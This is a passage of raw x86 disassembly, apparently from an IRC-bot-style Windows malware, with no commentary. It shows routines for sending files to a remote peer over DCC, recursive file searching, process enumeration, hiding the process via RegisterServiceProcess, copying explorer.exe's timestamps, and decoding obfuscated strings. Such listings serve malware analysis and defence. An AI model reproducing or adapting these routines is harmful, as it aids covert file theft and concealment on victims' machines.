var_A24 = byte ptr -0A24h
var_A1C = dword ptr -0A1Ch
var_A18 = dword ptr -0A18h
var_910 = byte ptr -910h
var_710 = byte ptr -710h
var_510 = byte ptr -510h
var_40C = byte ptr -40Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_40C400
push eax
mov large fs:0, esp
sub esp, 0AA0h
add ecx, 4
push ebx
push ebp
push esi
push edi
call sub_4014D3
mov ebp, [esp+0ABCh+arg_0]
push eax
lea ecx, [ebp+7Eh]
call sub_4012EE
test eax, eax
jnz loc_40C94E
lea ecx, [esp+0ABCh+var_A78]
call sub_401091
push 1
push offset asc_443600 ; " "
lea eax, [esp+0AC4h+var_A3C]
xor esi, esi
push 1
push eax
mov ecx, ebp
mov [esp+0ACCh+var_4], esi
call sub_4011EA
push eax
lea ecx, [esp+0AC0h+var_A70]
mov byte ptr [esp+0AC0h+var_4], 1
call sub_40200E
lea ecx, [esp+0ABCh+var_A3C]
mov byte ptr [esp+0ABCh+var_4], 0
call sub_401226
push esi
push 1
push 2
mov [esp+0AC8h+var_AA8], esi
mov [esp+0AC8h+var_AA4], esi
mov [esp+0AC8h+var_A90], esi
nop
call near ptr 71AB3B91h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
mov [esp+0ABCh+var_AAC], ebx
jnz short loc_40C4CC
lea ecx, [esp+0ABCh+var_710]
push offset aDccFailedToCre ; "[DCC]: Failed to create socket."
push ecx
call sub_5EA1BD
nop
add esp, 8
jmp loc_40C8F5
; ---------------------------------------------------------------------------
loc_40C4CC: ; CODE XREF: sub_40C400+AFj
xor edx, edx
push esi
mov [esp+0AC0h+var_AA0], edx
mov word ptr [esp+0AC0h+var_AA0], 2
mov dword ptr [esp+0AC0h+var_A9C], edx
mov dword ptr [esp+0AC0h+var_A98], edx
mov [esp+0AC0h+var_A94], edx
call near ptr 71AB2B66h
nop
mov word ptr [esp+0ABCh+var_AA0+2], ax
lea eax, [esp+0ABCh+var_AA0]
push 10h
push eax
push ebx
mov dword ptr [esp+0AC8h+var_A9C], esi
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_40C51A
lea ecx, [ebp+69h]
call sub_4014D3
push eax
push offset aDccFailedToBin ; "dcc: failed to bind socket"
jmp loc_40C5C0
; ---------------------------------------------------------------------------
loc_40C51A: ; CODE XREF: sub_40C400+105j
lea eax, [esp+0ABCh+var_A88]
lea ecx, [esp+0ABCh+var_AA0]
push eax
push ecx
push ebx
mov [esp+0AC8h+var_A88], 10h
nop
call near ptr 71AB951Eh
mov edx, [esp+0ABCh+var_AA0+2]
push edx
nop
call near ptr 71AB2B66h
lea ecx, [esp+0ABCh+var_A70]
mov [esp+0ABCh+var_A8C], eax
call sub_4014D3
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+0ABCh+var_910]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
xor edx, edx
rep movsb
loc_40C573: ; CODE XREF: sub_40C400+1A3j
mov al, [esp+edx+0ABCh+var_910]
cmp al, 20h
jnz short loc_40C585
mov eax, 5Fh
jmp short loc_40C588
; ---------------------------------------------------------------------------
loc_40C585: ; CODE XREF: sub_40C400+17Cj
movsx eax, al
loc_40C588: ; CODE XREF: sub_40C400+183j
mov [esp+edx+0ABCh+var_510], al
lea edi, [esp+0ABCh+var_910]
or ecx, 0FFFFFFFFh
xor eax, eax
inc edx
repne scasb
not ecx
dec ecx
cmp edx, ecx
jbe short loc_40C573
push 1
push ebx
nop
call near ptr 71AB88D3h
test eax, eax
jz short loc_40C5DD
lea ecx, [ebp+69h]
call sub_4014D3
push eax
push offset aDccFailedToOpe ; "dcc: failed to open socket"
loc_40C5C0: ; CODE XREF: sub_40C400+115j
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push ecx
push edx
mov ecx, offset byte_4D60A5
call sub_401118
jmp loc_40C8EF
; ---------------------------------------------------------------------------
loc_40C5DD: ; CODE XREF: sub_40C400+1B0j
push 0
push 0
push 3
push 0
push 1
push 80000000h
lea ecx, [esp+0AD4h+var_A70]
call sub_4017E4
push eax
nop
call near ptr 2870000h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C644
lea ecx, [ebp+69h]
call sub_4014D3
mov cl, [ebp+93h]
push eax
mov al, [ebp+94h]
push offset aDccFileDoesnTE ; "dcc: file doesn't exist"
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
lea edx, [esp+0ABCh+var_710]
push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
push edx
nop
call sub_5EA1BD
add esp, 8
jmp loc_40C8EF
; ---------------------------------------------------------------------------
loc_40C644: ; CODE XREF: sub_40C400+201j
push 0
push esi
nop
call near ptr 2860BFBh
lea ecx, [esp+0ABCh+var_A54]
mov ebx, eax
call sub_401424
mov eax, [esp+0ABCh+var_A8C]
push ebx
and eax, 0FFFFh
mov byte ptr [esp+0AC0h+var_4], 2
push eax
mov eax, dword_4D60BD
push eax
call sub_401DF7
add esp, 4
push eax
call near ptr 71AB2BF4h
nop
push eax
nop
call near ptr 71AB2BC0h
push eax
lea ecx, [esp+0AD0h+var_A78]
call sub_4017E4
push eax
lea ecx, [esp+0AD4h+var_A5C]
push offset dword_443A20
push ecx
call sub_40102D
add esp, 18h
lea ecx, [ebp+15h]
call sub_401681
push eax
lea ecx, [esp+0AC8h+var_A5C]
call sub_4014D3
mov dl, [ebp+94h]
push eax
mov al, [ebp+93h]
push edx
push eax
mov ecx, offset byte_4D60A5
call sub_401118
mov edi, [esp+0AC4h+var_AB4]
lea ecx, [esp+0AC4h+var_A88]
push ecx
push 0
lea edx, [esp+0ACCh+var_A1C]
push 0
push edx
push 0
mov [esp+0AD8h+var_A88], 3Ch
mov [esp+0AD8h+var_A84], 0
mov [esp+0AD8h+var_A18], edi
mov [esp+0AD8h+var_A1C], 1
nop
call near ptr 71AB2DC0h
test eax, eax
jg short loc_40C73D
lea ecx, [ebp+69h]
call sub_4014D3
mov cl, [ebp+93h]
push eax
mov al, [ebp+94h]
push offset aDccTimeout ; "dcc: timeout"
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
jmp loc_40C8DA
; ---------------------------------------------------------------------------
loc_40C73D: ; CODE XREF: sub_40C400+310j
lea edx, [esp+0ABCh+var_A84]
lea eax, [esp+0ABCh+var_A24]
push edx
push eax
push edi
mov [esp+0AC8h+var_A84], 10h
nop
call near ptr 71AC1028h
cmp eax, 0FFFFFFFFh
mov [esp+0ABCh+var_A74], eax
jnz short loc_40C78D
lea ecx, [ebp+69h]
call sub_4014D3
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push offset aDccUnableToOpe ; "dcc: unable to open socket"
push ecx
push edx
mov ecx, offset byte_4D60A5
call sub_401118
jmp loc_40C8DA
; ---------------------------------------------------------------------------
loc_40C78D: ; CODE XREF: sub_40C400+360j
push edi
nop
call near ptr 71AB9639h
test ebx, ebx
jz loc_40C845
loc_40C79C: ; CODE XREF: sub_40C400+438j
mov ebp, 400h
cmp ebx, ebp
jge short loc_40C7A7
mov ebp, ebx
loc_40C7A7: ; CODE XREF: sub_40C400+3A3j
mov edx, ebx
xor eax, eax
neg edx
push 2
mov ecx, 100h
lea edi, [esp+0AC0h+var_40C]
push eax
push edx
push esi
rep stosd
nop
call near ptr 2860000h
lea eax, [esp+0ABCh+var_A90]
push 0
push eax
lea ecx, [esp+0AC4h+var_40C]
push ebp
push ecx
push esi
nop
call near ptr 2850437h
mov eax, [esp+0ABCh+var_A74]
push 0
lea edx, [esp+0AC0h+var_40C]
push ebp
push edx
push eax
nop
call near ptr 71AB428Ah
mov ecx, [esp+0ABCh+var_AA8]
mov ebp, [esp+0ABCh+var_AA4]
mov edi, eax
push 0
cdq
add ecx, eax
push 400h
mov [esp+0AC4h+var_AA8], ecx
lea ecx, [esp+0AC4h+var_40C]
adc ebp, edx
mov edx, [esp+0AC4h+var_A74]
push ecx
push edx
mov [esp+0ACCh+var_AA4], ebp
nop
call near ptr 71AB615Ah
cmp eax, 1
jl loc_40C90E
cmp edi, 1
jl loc_40C90E
sub ebx, edi
jnz loc_40C79C
mov ebp, [esp+0ABCh+arg_0]
loc_40C845: ; CODE XREF: sub_40C400+396j
push esi
nop
call near ptr 2850000h
lea ecx, [esp+0AB8h+var_A38]
call sub_401424
mov eax, [esp+0AB8h+var_AA0]
mov ecx, [esp+0AB8h+var_AA4]
push eax
push ecx
lea ecx, [esp+0AC0h+var_A6C]
mov byte ptr [esp+0AC0h], 3
call sub_4014D3
mov edx, [esp+0AC0h+var_A1C]
push eax
push edx
call near ptr 71AB3F41h
nop
push eax
lea eax, [esp+0ACCh+var_A3C]
push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"...
push eax
call sub_40102D
add esp, 18h
lea ecx, [ebp+69h]
call sub_4014D3
push eax
lea ecx, [esp+0AC0h+var_A3C]
call sub_4014D3
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push ecx
push edx
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+0ABCh+var_A3C]
mov byte ptr [esp+0ABCh+var_4], 2
call sub_401226
loc_40C8DA: ; CODE XREF: sub_40C400+338j
; sub_40C400+388j
lea ecx, [esp+0ABCh+var_A54]
mov byte ptr [esp+0ABCh+var_4], 0
call sub_401226
mov ebx, [esp+0ABCh+var_AAC]
loc_40C8EF: ; CODE XREF: sub_40C400+1D8j
; sub_40C400+23Fj
xor esi, esi
cmp ebx, esi
jbe short loc_40C8FC
loc_40C8F5: ; CODE XREF: sub_40C400+C7j
push ebx
nop
call near ptr 71AB9639h
loc_40C8FC: ; CODE XREF: sub_40C400+4F3j
mov eax, [esp+0ABCh+var_A74]
push eax
nop
call near ptr 71AB9639h
push esi
call near ptr 284048Ah
nop
loc_40C90E: ; CODE XREF: sub_40C400+427j
; sub_40C400+430j
mov esi, [esp+0ABCh+arg_0]
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push offset aDccSocketError ; "dcc: socket error"
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
mov edx, [esp+0ABCh+var_A74]
push edx
nop
call near ptr 71AB9639h
push 1
call near ptr 284048Ah
nop
loc_40C94E: ; CODE XREF: sub_40C400+39j
mov ecx, [esp+0ABCh+var_C]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 0AACh
retn 4
sub_40C400 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CAD0 proc near ; CODE XREF: sub_401091j
push esi
mov esi, ecx
lea ecx, [esi+8]
call sub_401424
mov eax, esi
pop esi
retn
sub_40CAD0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40CAF0: ; CODE XREF: ___:loc_401AFFj
add ecx, 8
jmp sub_401226
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CB10 proc near ; CODE XREF: sub_402045j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40CB10
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 5
push 0Ch
push 9
lea eax, [esp+38h+var_24]
push 6
mov esi, ecx
push eax
call sub_4019B5
add esp, 18h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017E4
add esi, 4
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+28h+var_24]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+28h+var_C]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
sub_40CB10 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CBB0 proc near ; CODE XREF: sub_401BA4j
var_279 = byte ptr -279h
var_278 = byte ptr -278h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = byte ptr -258h
var_247 = byte ptr -247h
var_232 = byte ptr -232h
var_221 = dword ptr -221h
var_21D = dword ptr -21Dh
var_219 = dword ptr -219h
var_215 = dword ptr -215h
var_211 = dword ptr -211h
var_20C = byte ptr -20Ch
var_208 = byte ptr -208h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_40CBB0
push eax
mov large fs:0, esp
sub esp, 270h
add ecx, 4
push esi
call sub_4014D3
mov esi, [esp+280h+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_40CDAE
push ebx
lea ecx, [esp+284h+var_260]
call sub_40198D
lea eax, [esi+2Ah]
xor ebx, ebx
push eax
lea ecx, [esp+288h+var_25C]
mov [esp+288h+var_4], ebx
mov [esp+288h+var_260], ebx
call sub_40200E
push 1
push offset asc_443600 ; " "
lea ecx, [esp+28Ch+var_278]
push 2
push ecx
mov ecx, esi
call sub_4011EA
mov ecx, eax
mov byte ptr [esp+284h+var_4], 1
call sub_4017E4
push eax
lea ecx, [esp+288h+var_247]
call sub_401A87
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
push 1
push offset asc_443600 ; " "
lea edx, [esp+28Ch+var_278]
push 3
push edx
mov ecx, esi
call sub_4011EA
mov ecx, eax
mov byte ptr [esp+284h+var_4], 2
call sub_4017E4
push eax
lea ecx, [esp+288h+var_232]
call sub_401A87
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
mov edx, [esp+284h+var_221]
xor eax, eax
mov al, [esi+94h]
xor ecx, ecx
mov cl, [esi+93h]
mov [esp+284h+var_219], eax
lea eax, [esp+284h+var_278]
mov [esp+284h+var_215], ecx
push edx
push eax
lea ecx, [esp+28Ch+var_232]
mov [esp+28Ch+var_21D], ebx
mov [esp+28Ch+var_211], 1
call sub_401E2E
push offset asc_443AF4 ; "\\"
mov ecx, eax
mov byte ptr [esp+288h+var_4], 3
call sub_4012EE
test eax, eax
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
setz [esp+284h+var_279]
call sub_401226
cmp [esp+284h+var_279], bl
jz short loc_40CD2B
mov ecx, [esp+284h+var_221]
lea edx, [esp+284h+var_278]
push ecx
push edx
lea ecx, [esp+28Ch+var_232]
call sub_401E2E
push offset dword_446F64
mov ecx, eax
mov byte ptr [esp+288h+var_4], 4
call sub_401A87
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
loc_40CD2B: ; CODE XREF: sub_40CBB0+142j
push ebx
lea ecx, [esp+288h+var_232]
call sub_4014D3
push eax
lea ecx, [esp+28Ch+var_247]
call sub_4014D3
push eax
mov eax, [esp+290h+var_219]
push eax
lea ecx, [esp+294h+var_25C]
call sub_401681
mov ecx, [esp+294h+var_260]
push eax
push ecx
call sub_402257
add esp, 18h
lea edx, [esp+284h+var_20C]
push eax
push offset aFilesFoundD ; "Files Found: %d"
push edx
nop
call sub_5EA1BD
mov eax, [esp+28Ch+var_211]
add esp, 0Ch
cmp eax, ebx
jnz short loc_40CD99
mov eax, [esp+280h+var_215]
lea ecx, [esp+280h+var_208]
push eax
push ecx
lea ecx, [esp+288h+var_258]
call sub_401681
mov edx, [esp+288h+var_25C]
push eax
push edx
call sub_401523
add esp, 10h
loc_40CD99: ; CODE XREF: sub_40CBB0+1C6j
mov eax, [esp+280h+var_219]
push eax
call sub_401E24
add esp, 4
push ebx
nop
call near ptr 284048Ah
pop ebx
loc_40CDAE: ; CODE XREF: sub_40CBB0+36j
mov ecx, [esp+280h+var_C]
mov al, 1
pop esi
mov large fs:0, ecx
add esp, 27Ch
retn 4
sub_40CBB0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CE60 proc near ; CODE XREF: sub_40198Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40CE60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+4]
call sub_401424
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_40CE60 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40CEE0: ; CODE XREF: ___:loc_40226Bj
push 0FFFFFFFFh
push offset loc_438D86
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
lea ecx, [esi+2Eh]
mov dword ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+19h]
mov byte ptr [esp+10h], 0
call sub_401226
lea ecx, [esi+4]
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CF60 proc near ; CODE XREF: sub_402257j
var_548 = byte ptr -548h
var_51C = byte ptr -51Ch
var_51B = byte ptr -51Bh
var_408 = byte ptr -408h
var_304 = byte ptr -304h
var_200 = byte ptr -200h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
sub esp, 548h
lea eax, [esp+548h+var_408]
push ebx
push ebp
push esi
mov esi, [esp+554h+arg_10]
push edi
mov edi, dword_50FAD8
push esi
push offset aS_2 ; "%s\\*"
push 104h
push eax
call edi ; dword_50FAD8
add esp, 10h
lea ecx, [esp+558h+var_548]
lea edx, [esp+558h+var_408]
push ecx
push edx
call near ptr 2890000h
nop
mov ebp, [esp+558h+arg_14]
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40D027
loc_40CFB0: ; CODE XREF: sub_40CF60+C5j
test [esp+558h+var_548], 10h
jz short loc_40D017
cmp [esp+558h+var_51C], 2Eh
jnz short loc_40CFCA
mov al, [esp+558h+var_51B]
test al, al
jz short loc_40D017
cmp al, 2Eh
jz short loc_40D017
loc_40CFCA: ; CODE XREF: sub_40CF60+5Cj
lea eax, [esp+558h+var_51C]
lea ecx, [esp+558h+var_304]
push eax
push esi
push offset dword_443684
push 104h
push ecx
call edi ; dword_50FAD8
mov eax, [esp+56Ch+arg_C]
mov ecx, [esp+56Ch+arg_8]
lea edx, [esp+56Ch+var_304]
push ebp
push edx
mov edx, [esp+574h+arg_4]
push eax
mov eax, [esp+578h+arg_0]
push ecx
push edx
push eax
call sub_402257
add esp, 2Ch
mov ebp, eax
loc_40D017: ; CODE XREF: sub_40CF60+55j
; sub_40CF60+64j ...
lea ecx, [esp+558h+var_548]
push ecx
push ebx
nop
call near ptr 2880000h
test eax, eax
jnz short loc_40CFB0
loc_40D027: ; CODE XREF: sub_40CF60+4Ej
push ebx
call near ptr 28702BBh
nop
mov edx, [esp+558h+arg_C]
lea eax, [esp+558h+var_408]
push edx
push esi
push offset dword_443684
push 104h
push eax
call edi ; dword_50FAD8
add esp, 14h
lea ecx, [esp+558h+var_548]
lea edx, [esp+558h+var_408]
push ecx
push edx
nop
call near ptr 2890000h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40D0BB
loc_40D068: ; CODE XREF: sub_40CF60+159j
lea eax, [esp+558h+var_51C]
lea ecx, [esp+558h+var_200]
push eax
push esi
push offset aFoundSS ; "Found: %s\\%s"
push 200h
push ecx
inc ebp
call edi ; dword_50FAD8
mov edx, [esp+56Ch+arg_8]
mov ecx, [esp+56Ch+arg_4]
lea eax, [esp+56Ch+var_200]
push edx
mov edx, [esp+570h+arg_0]
push eax
push ecx
push edx
call sub_401523
add esp, 24h
lea eax, [esp+558h+var_548]
push eax
push ebx
nop
call near ptr 2880000h
test eax, eax
jnz short loc_40D068
loc_40D0BB: ; CODE XREF: sub_40CF60+106j
push ebx
call near ptr 28702BBh
nop
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 548h
retn
sub_40CF60 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40D130 proc near ; CODE XREF: sub_40104Bj
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40D130
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 4
push 4
push 1
push 13h
lea eax, [esp+58h+var_3C]
push 1
mov esi, ecx
push eax
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+19h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
or edi, 0FFFFFFFFh
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 0Ch
push 5
push 4
push 13h
lea edx, [esp+58h+var_3C]
push 1
push edx
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 1
call sub_4017E4
push eax
lea eax, [esi+47h]
push eax
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 4
push 4
push 1
push 3
push 16h
lea ecx, [esp+5Ch+var_3C]
push 13h
push ecx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov [esp+48h+var_4], 2
call sub_4017E4
lea edx, [esi+75h]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 0Ch
push 5
push 4
push 3
push 16h
push 13h
lea eax, [esp+60h+var_24]
push eax
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov [esp+48h+var_4], 3
call sub_4017E4
add esi, 0A3h
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_24]
mov [esp+44h+var_4], edi
call sub_401226
mov ecx, [esp+44h+var_C]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
sub_40D130 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40D2E0: ; CODE XREF: ___:004013CAj
sub esp, 104h
lea eax, [esp+0]
push 104h
push eax
push 0
nop
call near ptr 2891D7Dh
push eax
nop
call near ptr 2891242h
mov eax, dword_4470A0
test eax, eax
jz loc_40D403
mov ecx, dword_44709C
test ecx, ecx
jz loc_40D403
mov ecx, dword_446F68
test ecx, ecx
jz loc_40D403
push 0
push 2
call eax ; dword_4470A0
cmp eax, 0FFFFFFFFh
mov dword_447098, eax
jz loc_40D403
push ebp
push offset dword_446F70
push eax
xor ebp, ebp
mov dword_446F70, 128h
call dword_44709C ; Process32First
test eax, eax
jz loc_40D3EC
push ebx
mov ebx, [esp+110h]
push esi
mov esi, dword_50FAD4
push edi
loc_40D36D: ; CODE XREF: ___:0040D3E7j
mov edi, offset dword_446F94
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+10h]
repne scasb
not ecx
dec ecx
mov edi, offset dword_446F94
push ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea edi, [esp+14h]
sub edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push offset dword_446F94
add edx, ecx
push edx
call esi ; dword_50FAD4
add esp, 0Ch
test eax, eax
jz short loc_40D3D3
mov edi, offset dword_446F94
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push offset dword_446F94
mov ecx, ebx
call sub_401681
push eax
call esi ; dword_50FAD4
add esp, 0Ch
test eax, eax
jnz short loc_40D3D4
loc_40D3D3: ; CODE XREF: ___:0040D3ABj
inc ebp
loc_40D3D4: ; CODE XREF: ___:0040D3D1j
mov eax, dword_447098
push offset dword_446F70
push eax
call dword_446F68 ; Process32Next
test eax, eax
jnz short loc_40D36D
pop edi
pop esi
pop ebx
loc_40D3EC: ; CODE XREF: ___:0040D357j
mov ecx, dword_447098
push ecx
nop
call near ptr 2850000h
mov eax, ebp
pop ebp
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_40D403: ; CODE XREF: ___:0040D306j
; ___:0040D314j ...
xor eax, eax
add esp, 104h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40D460: ; CODE XREF: ___:00401F91j
sub esp, 11Ch
lea eax, [esp+18h]
push ebx
push esi
push edi
push 104h
push eax
call near ptr 28A0AD2h
nop
mov edi, offset aExplorer_exe ; "\\explorer.exe"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+24h]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
push 80h
and ecx, 3
push 3
push eax
push 1
rep movsb
mov edi, dword_50F8E8
lea eax, [esp+38h]
push 80000000h
push eax
call edi ; dword_50F8E8
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40D526
lea ecx, [esp+1Ch]
lea edx, [esp+0Ch]
push ecx
lea eax, [esp+18h]
push edx
push eax
push esi
call near ptr 28A06ADh
nop
mov ebx, dword_50F8D8
push esi
call ebx ; dword_50F8D8
mov ecx, [esp+12Ch]
push 0
push 80h
push 3
push 0
push 2
push 40000000h
push ecx
call edi ; dword_50F8E8
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40D526
lea edx, [esp+1Ch]
lea eax, [esp+0Ch]
push edx
lea ecx, [esp+18h]
push eax
push ecx
push esi
nop
call near ptr 28A0000h
push esi
call ebx ; dword_50F8D8
loc_40D526: ; CODE XREF: ___:0040D4C9j
; ___:0040D50Bj
pop edi
pop esi
pop ebx
add esp, 11Ch
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40D580 proc near ; CODE XREF: sub_401B59j
var_19C = byte ptr -19Ch
var_184 = byte ptr -184h
var_16C = byte ptr -16Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_40D580
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 190h
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+1A8h+var_16C]
call sub_401424
push 104h
push 104h
lea ecx, [esp+1B0h+var_16C]
mov [esp+1B0h+var_4], 0
call sub_401C5D
push eax
nop
call near ptr 27F0993h
lea ecx, [esp+1A8h+var_16C]
call sub_4017E4
push eax
lea ecx, [esi+4]
call sub_4015D7
lea ecx, [esp+1A8h+var_184]
call sub_401424
mov ebx, 1
push 104h
push 104h
lea ecx, [esp+1B0h+var_184]
mov byte ptr [esp+1B0h+var_4], bl
call sub_401C5D
push eax
push 0
nop
call near ptr 2891D7Dh
push eax
nop
call near ptr 2891242h
push offset aKernel32_dll_0 ; "kernel32.dll"
nop
call near ptr 27E08BFh
mov esi, eax
test esi, esi
jz short loc_40D671
mov edi, dword_50F8A0
push offset aRegisterservic ; "RegisterServiceProcess"
push esi
call edi ; dword_50F8A0
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push esi
mov dword_4470A4, eax
call edi ; dword_50F8A0
push offset aProcess32first ; "Process32First"
push esi
mov dword_4470A0, eax
call edi ; dword_50F8A0
push offset aProcess32next ; "Process32Next"
push esi
mov dword_44709C, eax
call edi ; dword_50F8A0
mov dword_446F68, eax
mov eax, dword_4470A4
test eax, eax
jz short loc_40D671
push ebx
push 0
call eax ; dword_4470A4
loc_40D671: ; CODE XREF: sub_40D580+A7j
; sub_40D580+EAj
mov esi, [esp+1A8h+arg_0]
push 0
mov ecx, esi
call sub_4017E4
push eax
lea ecx, [esp+1B0h+var_184]
call sub_402117
test eax, eax
jnz short loc_40D6A8
mov al, byte_44718F
test al, al
jz short loc_40D6A8
mov ecx, esi
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
loc_40D6A8: ; CODE XREF: sub_40D580+10Dj
; sub_40D580+116j
push 0
push 5
push 18h
push 5
push 4Eh
push 46h
push 47h
push 12h
push 10h
push 10h
push 0Eh
push 9
lea eax, [esp+1D8h+var_19C]
push 17h
push eax
call sub_4019B5
add esp, 38h
mov ecx, eax
mov byte ptr [esp+1A8h+var_4], 2
call sub_4017E4
push eax
call sub_4015FA
sub_40D580 endp
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 14h
push 13h
push 0Fh
push 8
push 0Ch
push 0Ch
lea ecx, [esp+38h]
push 4
push ecx
call sub_4019B5
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 3
call sub_4017E4
